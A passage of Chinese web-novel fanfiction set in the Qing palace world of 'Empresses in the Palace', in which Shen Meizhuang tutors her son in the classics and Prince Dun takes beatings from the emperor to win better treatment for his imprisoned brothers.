淳嫔作为一宫主位住进了储秀宫的正殿,原住民欣贵人一直在东配殿住着。甄嬛身为没有封号的贵人,便住进了西配殿。 不过,按照端妃的性子,应该不会这般青天白日的往甄嬛身边凑才是。 “不是,咱们的人说,端妃去了钟粹宫。” 沈眉庄皱了皱眉,对着镜子又照了照,把头上的孔雀银步摇摘了下来,才觉得舒服些:“钟粹宫那边怎么说?” 她心里头有了些猜测,随意摆弄了一下新得的一套鎏金珐琅护甲,就听到采月说道:“余官女子西配殿的钱丽是咱们的人,据说余官女子已经有两个月没有换洗了。” “景仁宫和翊坤宫可有动静?” 若是皇后和华贵妃都没得到消息,那就真是太没用了。 “延庆殿人手少篱笆扎得紧,但钟粹宫漏的厉害。不过景仁宫没什么动静,翊坤宫倒是报损了两副茶具。” 沈眉庄踱步到小书房,从书架上抽出一本【韩非子】歪到美人榻上:“不必多管,再一再二没有再三,年世兰若是连这点小事都处理不好,呵。” 她轻笑一声便噤了声,采月和采星会意的放轻了脚步。采月取了一份酴醾香的香饵放进一旁的青花缠枝香炉里,袅袅甜香慢慢充斥了整个殿内。 采星则是准备好了茶具,跪坐在沈眉庄下首洁白的羊毛毯上,想着近日主子有些肺热咳嗽,便煮了一壶老白茶。 弘昭下了晚课回来时,看到的就是这样一副安静祥和的场面。 “昭儿回来了,可是饿了?” 沈眉庄放下书,朝着儿子招了招手。 弘昭大了,虽然一天中有大半时间是在尚书房和养心殿度过的,但他仍旧更喜欢腻在自家额娘身边。 “还不饿呢,今日小施给儿子带了不少点心,下午的武课强度也并不大,所以儿子此时感觉还好。” 沈眉庄搂着弘昭的肩膀,指着书上的【外储说】一文道:“小信成则大信立,故明主积于信,一句,做何解?” 弘昭只思索一瞬组织了语言便开口道:“只有一点点累积小的诚信之举,方能立大信取信于人。所以,英明的君主会不断积累自己的信用。” 沈眉庄含笑点了点头,从一旁的八宝盒里拿出一枚上好羊脂玉雕刻成书本样子的玉佩递到弘昭手中。 “君无术,则弊于上;臣无法,则乱于天下。此不可一无,皆帝王之具也。弘昭,若你今后身为君王,便需得心怀权术,若你位居臣子,便定要遵守法令。 这二者的位置你不可兼得,但这二者在朝堂之上缺一不可,均为治理国家的工具,你可明白?” 弘昭点了点头,他如今身高抽了条,但脸上的婴儿肥仍旧存在感很高。虽然孩子已经很尽力的严肃了,仍旧是颇为可爱很。 “想来【外储说】昭儿已经十之理解有七八,其余二三便在日常的反复品鉴阅读中方能深入其中。今日额娘于你讲【说林】一文。” 母子俩在晚膳前通读了一遍文章,而后沈眉庄陪着儿子写了功课才继续日常的小课。 “昭儿先告诉额娘,如今你弟弟们也入学了,昭儿可是觉得如何?” 弘昭想了想,小脸皱成一团随即又放松下来,脸上的表情颇为自得:“弘暖和弘易是个坐不住的,一篇文章要背个七七八八,不如儿子许多。” 沈眉庄并没有生气,嘴角依旧含着一抹慈爱的微笑:“这便是今日额娘要讲的了。【说林】中有云:以管仲之圣而隰朋之智,至其所不知,不难师于老马与蚁。” 看着弘昭若有所思的脸蛋,沈眉庄问道:“管仲和隰朋,昭儿可知是何人?” “管仲,是春秋十分厉害的政治大能,实行相地而衰征之举,提高了底层农户的生产的效率和积极性,还在军事上多有创举。 隰朋于管仲共同辅佐齐桓公成就霸业,擅长对外交际的事务,并多次代表齐国出使各国。” 沈眉庄点了点头:“这二人皆是才能卓绝之人,其成就于如今的昭儿而言如同泰山北斗之地位。这般,管仲和隰朋仍旧谦虚谨慎,昭儿,善于发现他人的优点并学习,并不是什么为难的事情。” 弘昭的小脸红了红,他认真的点了点头:“是,额娘,儿子不该骄傲自满,今后定不会如此了。” 第135 章 沈眉庄34 皇上近日发现自己一向喜爱高谈阔论的六阿哥变的谦虚谨慎了不少,跟弘暖和弘易的关系更融洽了几分。 “还是眉儿会教孩子,弘昭如今不仅学识优秀,身为兄长更是友爱弟弟,比弘时这个哥哥做的更妥帖些。” 皇上如今要见沈眉庄也得提前预约了,永和宫毗邻景阳宫,自沈眉庄手上的营造司和掌仪司规矩进入正轨,有了章程流水后,便轻松了不少。日日来这景阳宫泡着,连景仁宫的小会都减少了参加次数。 沈眉庄手里捧着一本【苏子】,看向皇上的眼神颇有些意兴阑珊的意味。 “三阿哥只是年长些,又憨厚老实,从小都是一个人没有玩伴,怕是不会和弟弟们相处罢了。” 皇上在沈眉庄这里早就已经不香了,她手里这本【苏子】可是在后世失传了的孤本,只存在于【汉书.艺文志】中的记载。 这位战国时期的纵横家谋略深远,足智多谋。只可惜那一场战争丢失了太多珍贵的资料。 如今捧着这失而复得的珍宝,沈眉庄自然十分珍惜。 她已经有打算把其抄录下来,地府和人间也是有合作的,也算是为学历史的学生们,做出一点小小的贡献吧!想到这里,沈眉庄带了些嫌弃的看了看碍事的皇上。 “知之者不如好之者,好之者不如乐之者。皇上若是得空,不如也去景阳宫瞧瞧。” 皇上被嫌弃了也不恼,他笑呵呵的往一旁的钟粹宫走。 批了一天的折子头晕眼花的,书是不着急看的,左右惠贵妃也会忍不住念叨。 余莺儿虽然是宫女出身,但被惠贵妃派来的嬷嬷狠狠的掰了掰性子,如今瞧着倒是顺眼多了。 皇上兴致来了,也愿意闭着眼听会儿曲儿。 “奴婢今日不便唱了,太医说,奴婢有了身孕。” “哦?何时的事?” 皇上登基后孩子的数量肉眼可见的比潜邸时多了不少,如今更有了弘昭这个才智身手皆为上乘的儿子,更是不算着急。 但是有了孩子自然也是欢喜的,只不过这是余莺儿的孩子,皇上的期待并不算高。 “今早太医请平安脉,已经有两个多月了。” 皇上脸上本就不多的喜意淡了淡,早上得的信儿,如今皇后那里还没有动静,怕是这位官女子的心也大了。 “可是报给了皇后?” 余莺儿有些勉强的维持住喜意娇声道:“奴婢想着先给皇上报喜呢。” 皇上随意的扯了扯嘴角,语气柔和但毫无感情的说了句:“既有了身子,便好好养着吧。” 说罢,他起身准备离开。 余莺儿见状快速下地行礼道:“皇上,奴婢初初有孕,实在没有经验,可否......” 迎着皇上冷淡的神情,余莺儿咬牙继续道:“可否请皇上许奴婢搬去延庆殿住,端妃娘娘温柔善良,定会照顾好奴婢这一胎的。” 想来端妃也没想到这次的队友比猪都不如,这般就把两人的谋划暴露在了明面上。 余莺儿身后的花穗跟着她跪在地上,低垂着的头掩盖住了微微扬起的嘴角。 “这些事找皇后去,规矩学到狗肚子里去了吗?” 余莺儿嘴唇有些哆嗦,面色难堪又无措。 皇上哼了一声,转身就走。 景仁宫。 “娘娘,余官女子来了。” 皇后和华贵妃对视了一眼,嘴角同时扬起一道相似的弧度。 “皇后娘娘既然要忙,臣妾就先告退了。” 华贵妃脸上的笑意收敛,面无表情的路过余莺儿,颂芝瞥了眼缀在后头的花穗,两人眼神交错,并未引起任何注意。 “皇后娘娘,今日太医来请平安脉,奴婢有了两个月的身孕。” 皇后点了点头:“嗯,是好事。既然有了身子......” 皇后的话还未说完,余莺儿就急忙开口打断:“皇后娘娘,奴婢只是官女子,怕是照顾不好肚子里的皇嗣,还请皇后娘娘允许奴婢搬到延庆殿,请端妃娘娘照顾皇嗣。” 被打断的怒气一下子就被蠢笑了,皇后有些无语的看了眼余莺儿,不知道端妃怎么就提前选了个这么个蠢货,就算是临近生产时去母留子皇后也能说她一句‘好手段’。 大概是前几次的套娃活动失败的太快吧,皇后想着。端妃这次有些急躁了,并不像她以往隐忍的风格。 但结合了一下最近端妃的碰壁之举,就连那个长着一张讨人厌的脸的甄贵人都对她敬谢不敏了,怕是心浮气躁了。 “端妃久病,延庆殿常年熬着药汤子,照顾你?” 余莺儿脸上的表情一滞,心里头暗自叫苦:她怎么没想到呢!端妃的延庆殿并不是个好去处啊! 皇后温和的‘诱导’道:“你便搬去咸福宫吧,敬妃也是宫中的老人了,又为人温和细心。咸福宫只有你们两人,有了孩子住的也宽敞。” 余莺儿的眼睛一亮,被皇后的话立刻转移了立场。 “是,奴婢听皇后娘娘的。” 皇后笑了笑,赐了些赏赐,余莺儿便欢欢喜喜的回去搬家了。 而此时延庆殿的端妃得到消息时为时已晚,余莺儿已经搬进了咸福宫,被敬妃的人手牢牢看住。 接连的打击叫端妃的心态发生了巨大的变化,她失了心气儿,歪在床上愣愣的盯着头顶的百子千孙帐出神。 沈眉庄知道了,只赞许的朝着华贵妃笑了笑:“子曰:与其进也,不与其退也,惟何甚?人洁己以进,与其洁也,不保其往也。” 华贵妃瞬间收敛脸上的笑容:“你便就不能说两句本宫能听懂的话。” “夸你进步了。” 沈眉庄简洁的总结了自己的话,华贵妃脸上重新“嘻嘻”起来。 曹嫔在一旁用帕子掩了掩嘴角,从一开始参与景仁宫会议的局促,但现在可以坦然面对大佬们对她的忽视,在一旁悠闲的吃果子。 温宜也紧随姐姐淑和的脚步,被皇后接到了景仁宫教导,另还有华贵妃这个玉牒上的额娘,经常带着温宜打拳。 曹嫔觉得,再没有比现在更好的日子了。所以为华贵妃分忧解难时,也更加谨慎用心,多用些连累不到华贵妃的点子,越发得她的重用。 敬妃虽然是个温和喜欢中庸之道的,但并非没有手段。不过两个月的时间,便把小人得志的余莺儿驯服的老老实实的。 她也不是那不通情理之人,余莺儿只要本分,定不会叫他们母子天人永隔。 (本人理解,敬妃虽然人好,但要是名下的孩子有个特别闹腾管教不住的生母,她应该也会出手直接掐根儿的。毕竟都是在后宫浸淫多年的女人,不可能真的温和的没有脾气给一个官女子擦屁股。) (纯元的呼声很大啊,想看纯元教小狗吗?老四那时候应该还小呢,应该好调教。) 第136 章 沈眉庄35 参加的宴会多了,这些福晋们对宫中的情形也大致有了些了解。 尤其是敦亲王福晋,自上次畅音阁听戏见到了三福晋和五福晋七福晋三位妯娌后,回去和敦亲王这么一说,这位有些脑子但常年不用的莽夫便起了些心思。 “你是说,宫中那位惠贵妃?” 敦亲王福晋点了点头,虽然交情不深,但几次的见面和浅聊也有了些了解。这位惠贵妃是个有些像后宫言官似的存在。 倒是为这位皇兄肃清了不少风纪,瞧着比惠贵妃入宫前像样的多。 敦亲王摸了摸自己的双下巴,若有所思的道:“你说我现在去看书还来的及吗?今后老四要再说我,哼!” 敦亲王现任福晋是继福晋赫舍里氏,是佐领常海的嫡次女,也是先帝元后孝诚仁皇后的亲侄女。(ps:这是真的)虽比如今的皇后更多了些高门贵女的教导,但论这些文学储存,面对惠贵妃也是甘拜下风。 她表情有些一言难尽的看向自家这位文根本不成,武也几年没有捡起来的王爷,措辞了很久才道:“惠贵妃出身孔孟之乡,就像,王爷您躲着的那位李之芳李大人一样。” 敦亲王的表情马上恢复了清澈:“哈,哈哈,本王就是随口一说罢了。救八哥九哥这事,还是得从长计议。” 敦亲王福晋了然的笑了笑,没有揭穿自家王爷并不像样的伪装。 “那你说,本王联系这位惠贵妃为九哥说话,有没有用?” 救哥哥,敦亲王是认真的。 敦亲王福晋轻叹了口气,她家王爷特别重义,不过好在有层好身世,只要别造反,她也不怕这位憨子作什么幺蛾子。 “约莫是用的,但是,这位惠贵妃可跟咱们无缘无故的,这条路不一定能成。” 敦亲王胖乎乎的手一挥,颇有些豪迈的说道:“无缘无故怎么了,钱送到位了就有缘故了。” 听闻此话,敦亲王福晋立刻觉得放松了,她揣着两个手手一脸揶揄的看向敦亲王道:“哦?送银钱倒是个好办法,但是王爷,咱们敦亲王府没有多余的银钱可送啊。” 亲王的俸禄亲王妃的俸禄还有庄子铺子等进项,基本除了养活整个敦亲王府后,剩下的银钱都被敦亲王拿去打点宗人府了。至于敦亲王这么多年的积累?开什么玩笑,敦亲王是会积累的人吗? 先福晋阿巴亥博尔济吉特氏是乌尔锦噶喇普郡王之女,家族势力显赫,所以遗留的嫁妆也不少。 但他们哪里能没脸没皮的用了先福晋的嫁妆,早在先福晋过世后,这些嫁妆之物便都留给了先福晋嫡子弘暄了。 若只论敦亲王背后的钮钴禄氏,敦亲王福晋看了看一脸‘七不服八不愤’表情的王爷,在心里叹了口气。 钮钴禄氏不是跟自家王爷不亲近,只是怕这位憨货灵机一动,害了全族,所以日常的支持孝敬都是卡着将将好的量来的,根本不够送礼给贵妃啊! 看着自家王爷垂头丧气的模样,夫妻关系一向还算不错的福晋悠悠说道:“妾身多递几次牌子吧,正好云舒前儿个也去了皇后娘娘组织的家宴,之乎者也的学了两句倒是像模像样的。” 敦亲王握住福晋的手,有些懊恼又有些感激的说道:“多谢福晋为我操心了,只是我从小跟九哥一起长大,如今看着九哥在宗人府日日受难,实在难受。” 敦亲王福晋笑了笑,也挺好的,自家爷们重情总比刻薄寡恩强的多。 “只是你可要想好了,惠贵妃名下是有六阿哥弘昭的,若是妾身走动频繁了,说不得会被.....忌惮。” 敦亲王福晋手指了指上头,敦亲王烦躁的抓了抓光秃秃的脑门。 “爷就是想救九哥,怎的有这么多弯弯绕绕!麻烦!” 任由敦亲王继续烦恼,敦亲王福晋则是舒坦的搬了摇椅,对着窗头温和的阳光闭眼小憩。 沈眉庄看着手里的拜贴对牌眼神微闪,剧里敦亲王福晋确实是个友善的,但她自认为不像原剧的甄嬛一样广布善意。所以敦亲王福晋和敦亲王的长女来访就很玄妙了。 她只能想到一个可能,便是宗人府还活着受罪的老八和老九。 放下手中的对牌,沈眉庄到小书房里铺好纸开始写字。 只有平心静气时,才能叫思路更为清晰,也更适合思考。 不得不承认,敦亲王背后代表的势力是庞大的,只要是个想要更进一步的人都会眼馋。 但与此同时,敦亲王所要交换的条件也是十分苛刻。 这天下估计就连街边的乞丐都知道这位皇上对这两位弟弟的恨意。亲儿子即使被算计着给两人求情,都能毫不犹豫的过继出去。所以,这份买卖虽然带来的利润足够大,风险也是对冲的。 沈眉庄的唇角微微扬起,似是想到了什么有趣的事情一般。 她看了一眼手下还泛着桃花香味儿的兰亭集序,到底是接了对牌。毕竟她不若曾经的富察氏有底气,事情不一定要去办,但牌子是不能拒的。 皇后看着底下的敦亲王福晋,只是思绪一转便知道这夫妻俩的主意。 她温和的笑了笑,只关切的闲聊两句便放人去了永和宫。 “娘娘,这敦亲王福晋,是不是......” 如今皇上这几位小阿哥,弘昭阿哥是最出彩也是最得圣心的,敦亲王向来和她们皇上不对付,这突然递牌子去永和宫,还带着长女,怕是有些心思。 “就算是,那又如何?你瞧瞧咱们这几位阿哥,弘时蠢笨,弘历还在园子里,弘昼体弱不说连进学都不愿。弘暖弘易被延禧宫那两个宠的过分,除却被弘时聪明一二,连努力二字都靠不上边。” 现如今,只有余莺儿肚子那个太医好似说是个男孩,可想想余莺儿这个生母,就不会有人把这位待定的小阿哥放在选择之中。 剪秋点了点头,敦亲王虽然蠢些,但敦亲王福晋可不是个好糊弄的。就算惠贵妃有所意动,也得掂量一下是否出的起筹码。 “还是娘娘思虑周全,只要咱们什么都不做,便能安安稳稳的登上......不必管她们之间的争斗。” 皇后好好的,权利地位都握在手里,并且放弃了皇上的宠爱,剪秋自然会为了主子的开心而想。 “不说这些了,叫太医院和御膳房都上点心,给皇上炖煮些补肾益气的汤水。这后宫啊,还是得遍地开花才好。” 剪秋应了是,又想起养心殿围房里的宫女:“听闻皇上叫围房里的避子药也停了,约莫能有几个好消息吧?” 都是些美貌的汉人,不仅皇后不放在眼里,就连剪秋都没往心里去。 “能有才好呢,皇上这仨瓜俩枣的皇子,本宫在跟妯娌们小聚时都有些抬不起头。” 皇后又扫量了一眼自己的活计,今日的任务终于完成了。 “走吧,去尚书房看看。” 皇后要看的不是皇子,而是另一边的公主。 到底是她亲自教导的,也是寄予了厚望。 (康熙时期确实有不少位山东的言官,其中李之芳是最有名的。历任过监察御史,十分的敢说。对山东的刻板印象再一次加深,哈哈。) 第137 章 沈眉庄36 “娘娘这里的花开的真好,这布置也有些意思,免了孩子们的磕碰。” 永和宫为了弘昭的成长,有些锻炼用的小玩意,都是按照弘昭的身高和喜好不断调整的。 “子曰:视其所以,观其所由,察其所安。用心了解孩子的成长喜好,才能更好的为其发展铺路。” 敦亲王福晋若有所思的点了点头,把思量压在心底继续闲聊着:“是了,惠贵妃于孩子的成长一道颇有见解,妾身受教了。” 一旁的云舒拉了拉敦亲王福晋的袖子,指着院子里挂着的整齐的木头宝剑很是喜爱。 “云舒喜欢?这是弘昭和弘暖弘易的,惠娘娘这里还有新的,可要一观?” 云舒羞涩的抿着唇笑了笑:“可以吗惠娘娘?云舒也想看一看。” “自然是可以的。” 沈眉庄叫采星去库房又拿了一柄一模一样的过来。 “这些宝剑长的都是一个样子的。” 云舒远远的对比了一下,发现连上头镶嵌的宝石都是同色的。 “正是呢,他们兄弟三人就是如此,若有了一个不一样的,便只争那一个,吵人的很。” 虽是嫌弃,但沈眉庄的眉眼含笑,周身的气息从容温和,想来对三位阿哥都是喜爱的。 “正是这个理呢,妾身家中弘暄和弘晙瞧着小时候倒是好些,现如今年岁大些了,便总是出现这样那样的矛盾。今日听贵妃娘娘一言,约莫着是妾身有些忽视了。” 沈眉庄嘴角勾了勾,顺着敦亲王福晋的话说道:“兄弟阋于墙,外御其务。亲兄弟之间只要你和敦亲王好好疏通,不会有什么大问题的。” 敦亲王福晋笑了笑,只觉得有些不好接话。 “怡怡兄弟情,亹亹仆驭力,有时也不好太过插手他们之间的矛盾,不若叫他们自行解决,福晋觉得如何?” 沈眉庄并不想插手这桩烂摊子,毕竟敦亲王是助力不错,但若是没有,其实问题不大。 毕竟皇上就这么几个儿子,弘时是个不聪明的,弘历是个不被喜爱的,弘昼是个身体不好的,弘暖和弘易两人是不上进的。她的胜券很大,没必要为了敦亲王走了这钢丝桥。 “娘娘说的有理,妾身受教了。” 敦亲王福晋知道惠贵妃并没有这份意思后,便收敛了心神,只专心的陪着云舒玩了一会儿便起身告退了。 回到敦亲王府,看着眼巴巴的敦亲王,她摇了摇头。 敦亲王长长的的叹了一口气。 敦亲王福晋想了想,有了柔婉的语气道:“爷,惠贵妃说的一句话妾身觉得没错。” “什么话?” 敦亲王蹲在地上拨弄着青砖上的花样没有抬头。 “怡怡兄弟情,亹亹仆驭力。” 敦亲王努力回想了一下:“文天祥?” “是,文天祥的【端午即事】。” 瞧敦亲王又要开始不耐烦,敦亲王福晋继续道:“这兄弟的情分,就连下人都看的明白。爷,妾身说句逾矩的,当初咱们这位皇上登基时,您和其他两位爷......” 瞧着福晋一言难尽的表情,敦亲王直接坐到了地上。 “是是是,我们质疑老四,到处传播流言陷害老四,还联合朝臣抵制老四。” 说到这里,敦亲王捂住了脸:“现在叫老四原谅八哥九哥,好像是不太可能。” 岂止是不可能啊!敦亲王福晋心想,要她是皇上,早把这两个挑事精砍头示众了! “惠贵妃说,兄弟之间的事情应由兄弟自己解决。若爷真的想为八哥九哥尽尽心,不若......” “不若什么?” 敦亲王放下手,整个脸被自己捂的通红。 “不若叫皇上拿爷撒撒气吧。” 放出来不太可能,这份郁气撒出去,说不定宗人府那两位能过的好点呢?可能吧? 敦亲王福晋也不确定,这位皇上那么小心眼。 不过,给她家爷一个希望,省得每日里没事干在家拉磨,耽误她和姐妹的跑马。 敦亲王若有所思的走了,宫里的皇上也颠颠嗒嗒的来了。 “今日敦亲王福晋进宫,可是有什么要事?” 皇上现在在朝堂和别的地方可能还会用一些隐晦的试探,但在永和宫永远是直来直去的。因为他知道,试探在惠贵妃这里是最不好使的办法,会被教育小人行径。 沈眉庄手里拿着一本【南华经】见着皇上坐直了身子,语气冷冷淡淡的道:“左不过是你们兄弟之间那些事。今日听敦亲王福晋的话,怕是想着说些皇上不爱听的。” 皇上本有些生气,但是被沈眉庄后面那句不爱听的逗笑了。 “你不说,怎么知道朕不爱听。” 沈眉庄瞥了皇上一眼,轻轻哼了一声:“但立直标,终无曲影。皇上您说呢?” 皇上摸了摸鼻子,有种被人扒光了衣服的感觉。 难得想起老八老九心态平和的时候,便开口问道:“那眉儿是如何想的?” 沈眉庄翻了一页书,不紧不慢道:“【论语 季氏】中有言:君子之远其子也。皇上可知何意?” “是陈亢问伯鱼,是否得到过孔子的特别教导。伯鱼说与其他学生并无不同情况。是在形容一种公平的教育理念。” 沈眉庄点了点头:“这就是臣妾要说的,不患寡而患不均,子女不和多是家中长辈的失德。若想子女和睦兄友弟恭,长辈应有教无类,方可百年后得团圆美满一家。” 皇上拍了拍沈眉庄的手,真想让先帝和太后听听他的惠贵妃的教导啊。 “所以眉儿是赞同朕对老八老九的处理了?” 沈眉庄并未诚惶诚恐起身,还如方常一般看着自己手里的书:“臣妾赞同也好,反对也罢,皇上也无需放在心里。 子曰:成事不说,遂事不谏,既往不咎。便是您已经做过的事,有什么好说来说去的?您想开了不计较是兄弟之间的事,没想开继续这般也是前朝的活计,跟臣妾有什么关系。” 说到这里,沈眉庄坐起了身:“不过,臣妾还要多一句嘴:【颜氏家训】中有一言:有偏宠者,虽欲以厚之,更所以祸之。【尚书 洪范】中也有记载:无偏无党,王道荡荡;无党无偏,王道平平。 望皇上在对待皇子公主时,能做到这两点,便足以。” 皇上:我记着我是来问话的啊?怎么又变成听课了? 第二天的朝堂上,皇上一眼扫过看着敦亲王那欲言又止扭扭捏捏的模样十分得辣眼睛。他并不想知道敦亲王有什么想法,只当做看不见。 谁知道敦亲王下朝后跟着他回到了养心殿。 “你到底要做什么?” 皇上看着喝了三盏茶吃了六盘点心的敦亲王有些生不起气来。 敦亲王犹豫了一会儿,带着一股视死如归的气势说道:“要不,皇上您打我吧!” 皇上脑袋后仰,眼睛睁的大大的,仿佛在看什么怪物。 “您要是讨厌九哥他们,你就打我!给你出出气。你出点气了,就给九哥他们送些好吃的。 等我好了,你再打,本王就靠这一身肉,给九哥换点好东西。” 皇上想了想,请出了先帝晚年时的拐杖。 这不打白不打。 敦亲王说到做到,站的笔笔直直的,一点也不带跑。 被皇上打的龇牙咧嘴一瘸一拐的,带着口令去了宗人府。 看着瘦弱的没有人样的九哥哇的哭出了声。 “九哥,你快吃,我给你带好吃的了。” 已经被消磨了所有的心气儿的九阿哥看着哭的有些丑陋的弟弟还是忍不住动了动。 “你这是怎么了?” 敦亲王往九阿哥的小屋子里塞了不少好吃:“我想着搭上惠贵妃的线儿救你和八哥。但是惠贵妃没答应,不过她说了什么兄弟事情要兄弟自己解决。 我福晋说,可以叫皇上打我出气。我今天就叫老四打了一顿,给你和八哥换了些好吃的。” 九阿哥和八阿哥隔着一道墙,两人红着眼眶。虽然无力也没条件给敦亲王上药,还是努力看了看敦亲王的样子。 “没事,九哥你又不是不知道,老四没多大劲儿,还没有皇阿玛那时候打的重。” 敦亲王坐在地上,尽力安慰两个哥哥。 “是哥哥不好,连累你了。” 八阿哥的嗓子哑着,成王败寇的结局他早就认了。可现在这个弟弟为了他们能吃口好的,这么大了还被老四打,实在叫人揪心。 “没事,什么连累不连累的。” 敦亲王当年并不是很想支持八阿哥,可是他的亲亲九哥就认定了八哥。 现在说这些干什么,反正是自己哥哥,总不能不管。 兄弟三人说了会儿话,八阿哥和九阿哥倒是为着敦亲王,勉力提了些精神。 “等我养好了,再叫老四打一顿,下次给九哥和八哥送些舒适的被褥。” 说着,敦亲王拖着一瘸一拐的腿就走了。 八阿哥和九阿哥背靠在同一面墙上,都没有说话。 (看到宝子们关于.这个问题了,中间那个点我在键盘上没找着,哈哈,所以习惯用这个.代替,有听书的宝子说不习惯。那我就不用点了,改空格,这样好点吧。) 第138 章 沈眉庄37 皇后当扬下旨九阿哥记在敬妃玉牒,喜的敬妃连连谢恩,并且辞谢了去圆明园的名额:“九阿哥刚出生,这宫里没有个主事的臣妾是万分不踏实,这次去圆明园避暑,臣妾就不去了。” “嗯,九阿哥确实不易挪动,好在宫中人都去了园子,你这里用冰也就不缺了。” 到了圆明园,身上的青紫还未消的敦亲王便一瘸一拐的把皇上堵在了勤政殿的门口。 “你怎么又来了?” 皇上不耐烦的看着眼前这个似乎有些瘦了的弟弟,眼神里满是嫌弃。 “皇兄,你再打我一顿吧!” 敦亲王也不想啊!只是他的九哥畏热,头几年在宗人府被热晕不知多少次,都是狱卒用水泼醒的。 如今好不容易找到一个能让老四撒撒气的办法,敦亲王只能硬着头皮来了。 皇上也不急着出门了,他背着手,上下打量了一下敦亲王,嘴角带出一抹冷笑。 “你倒是和允禟亲近。” 敦亲王低着头在心里告诉自己要忍耐,他扯出一抹难看的笑容:“臣弟自幼和九哥一起长大,自然是关系好的。” 皇上意味不明的笑了两声,随即请出了先帝的马鞭。 “朕知道你要送什么,但你也知道朕对老九和老八没什么不忍,你若是能受了这十鞭,今后你去送什么,便不用来请示。如何?” 敦亲王看着那条粗黑发亮的马鞭咬了咬牙,在心里头疯狂咒骂老四是个小心眼的狗东西。 “行!” 为了他的亲亲九哥! “不能打脸打脖子和手!” 敦亲王觉得自己还是要面子的。 皇上点了点头,他自然知道,他也是要名声的好吗! 敦亲王闭上眼,皇上便使全力抽了过去。 “啊!” 一声响彻天际的惨叫把路过的鸟儿都惊的掉了下来。 皇上充耳不闻,继续挥鞭。 敦亲王说到做到,叫的虽然惨,但脚下生根不动分毫。 他脸上的汗水已经湿了眼睛,内心里除了惨叫还有咒骂,顺便还能分心想想:原来老四这么恨他们三个吗?他不记得自己做过什么怨天尤人的事啊? 不过这念头只是在脑海中闪过片刻,其余时间皆是军营中不能播的混话。 十鞭结束的快,这鞭子是先帝特制的,打在身上并不会出血有伤痕,但是其中痛楚也不是常人能忍受的。 皇上把鞭子放回到托盘上,拿起一旁的锦帕擦了擦汗冷声道:“你走吧,朕会下旨,今后你每月可去看望他们一次,送东西三次,不用再来找朕了。” 敦亲王动了动腿,好在老四这个狗东西有些良心,只找了他肉厚的地方抽。 “多谢皇兄。” 他强撑着一口气走到殿外,便瘫到了自家小厮身上。 好在皇上也没有丧心病狂到要了敦亲王的命,等他回到自己的避暑庄子上,太医已经等候在侧了。 “嘶,喜宝,嘶,你快去收些冰,嘶,嘶轻点,送到宗人府去!还有锦被,嘶,能拿多少拿多少,嘶嘶!皇上没有说能去几个人,你多带些人,弄些木板,给九哥他们搭个床。” 喜宝看着自家主子这斯哈斯哈的样子颇有些着急:“知道了王爷。” 跟了敦亲王这么久,当然知道自家爷对那两位的重视,喜宝手脚麻利的收集了防潮的木料和不打眼的锦被,利索的招呼人到了宗人府。 得了皇上的令,宗人府的人对喜宝的大包小包视若无睹。 “八爷,九爷,我们爷叫小的来送东西了。” 喜宝先把冰摆了一旁,这蒸笼似的地方便有了些凉气。 老九吸着鼻子盯着喜宝的动作没有说话,半晌才道:“你们爷呢?” 喜宝愣了一下:“我们爷叫皇上打的下不来床了,不过都是皮外伤,而且皇上也说了,爷受了这十鞭子,今后就可以不用去挨打了。” 九阿哥以掌遮眼,好大一会儿没有出声。 等喜宝收拾好了离开,九阿哥才哑着嗓子开口道:“让你们爷好好歇着,我这里不必担心。” 喜宝‘诶’了一声,在狱卒的催促中加紧离开了。 两兄弟背靠在墙上不说话,一直到月上中梢,对面的老八开口道:“九弟,你说咱们在这,图什么?” 九阿哥没有说话,他脑子里闪过很多人。 他闲赋在家的五哥;身为四妃之一却是最后一个被儿子接出宫荣养的额娘;因着母族势力强盛从小没有吃过苦却为了他挨了鞭子的老十;还有他九阿哥府中的人,都是因着他,才受得这份苦楚。 八哥有一句话说的对,成王败寇,就算得位不正又怎么样?主掌生杀大权的仍旧是老四,他只有一条命,却连累的身边的人都没什么好下扬,难道才能认吗? 第二日,兄弟俩同时向狱卒要了纸笔,趴在木板床上写了厚厚一叠的陈情书。 而勤政殿的皇上接到信后还有些不可思议。 面对自家惠贵妃‘不争气’的眼神,皇上赶忙收敛了表情。 殿内只有安静的纸张翻阅的声音,皇上对着手里的陈情书有些感慨,又有些不可置信。他下意识的看向对面拿着【道德经】的惠贵妃。 “子曰:先有司,郝小过,举贤才。” 沈眉庄感受到皇上眼神,连头也不抬率先开口道。 皇上拨弄了一下手上的扳指:“哦?你怎么知道朕要问什么?” “臣妾就在您身边,刚才苏培盛送信进来的时候说的很明白这出处,臣妾有脑子。” 皇上没再说话,他靠在椅子上出神,不知道在想什么。 沈眉庄也乐得清静,正好把手里的书看完。 过了好大一会儿,皇上才有了动作。 “朕欲叫弘昭西洋学以允禟为师, 眉儿可有意见?” 沈眉庄合上书,对上皇上的眼睛:“子曰:其身正,不令而行;其身不正,虽令不从。臣妾对弘昭的夫子的出身没有任何想法,只要他可以子以四教,便足以。另外,默而识之,学而不厌,诲人不倦。” “是,眉儿说的有理。” 既然是心中作为储君最好的人选,皇上思来想去还是定下了老八和老九作为弘昭的夫子。 只不过让他放了二人是不可能的,只是每日下午,一顶小轿子把二人接到勤政殿后殿,为弘昭讲学,而后再送回去关着罢了。 只是单是这般,就够叫老八和老九知足。 只要他们还能干,对皇上来说还有用,最起码,不会再连累敦亲王为他们殚精竭虑了。 第139 章 沈眉庄38 总是约着丽妃曹嫔和余莺儿打马吊,要不是皇上还常来着需要伺候,她都要准备养老了。 皇后难得休息一日,看着华贵妃脸上的笑意也真诚了两分:“寿康宫可没有你的清凉殿华丽,紧巴巴的,等你搬进去了说不得要闹上一闹。” 华贵妃想了想太后住的地儿,嫌弃的摇了摇头。 “是了,寿康宫又小又挤不说,还住了那么多老太妃,唉。” 许是想到自己没有孩子,就算老了也得跟丽妃她们挤在一起,便登时没了心气吃点心。 “你呀,现成的人儿在你面前你都不会求。” 皇后意有所指的示意华贵妃看向一旁喝茶的沈眉庄,眼神里倒并没有什么忌惮。 华贵妃软下的腰身突然坐正了,眼神扫量笑着瞥了沈眉庄一眼。 她眼睛生的妩媚,抿着嘴这么一笑,像带着小钩子一样,容易叫人误会。 “你瞧我便瞧我,做什么要笑不笑的样子。” 华贵妃瞧着沈眉庄那古板的小脸嫌弃的撇了撇嘴:“真真是媚眼抛给瞎子瞧。” 沈眉庄没搭理她,反而看向皇后:“这园子这么大,还装不下华贵妃,改明儿皇后便请了皇上,单门给华贵妃建个庙才好呢。” 皇后听明白了沈眉庄的言中意,她挑了挑眉,突然对皇上有些不喜,这么大岁数了,还没活够吗? 